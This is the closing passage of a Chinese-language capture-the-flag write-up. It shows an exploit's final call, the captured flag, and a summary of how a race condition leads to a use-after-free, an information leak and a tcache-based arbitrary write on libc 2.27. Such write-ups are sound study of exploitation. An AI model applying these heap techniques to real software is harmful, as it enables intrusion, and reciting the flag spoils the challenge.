   pwn()
#flag{pl4y_w1th_u4F_ev3ryDay_63a9d2a26f275685665dc02b886b530e}

總結

這是我第一次接觸條件競爭的題目,這題復現完之後看來就是條件競爭最後造成的uaf利用效果。洩露是利用條件競爭後的chunk可以進行進一步的使用,從而洩露想要的資訊;而任意地址寫就比較騷了,利用堆溢位以及tcache的特性進行了tcache_attack。

最近遇到的題目都不是libc-2.23版本了,一般高質量的比賽題目libc版本都是2.27以上,這道題目的利用版本的也是2.27,看來2.23快要退出歷史舞臺了。

再次強調一下,本文除錯的exp是來自raycp師傅,部落格https://ray-cp.github.io/,除錯師傅的程式碼真美滋滋,能學到不少東西,主要的思路算是明白了,但是自己重寫的話可能還要考慮chunk的構造問題,因為最近時間並不是特別充裕,這次就用師傅的exp來學習了。

也參考過其他師傅的exp的思路,但不是通過任意寫來達成利用的,這篇文章裡面介紹了這道題目其實是可以任意地址讀,任意地址寫的,膜一下raycp師傅sao思路。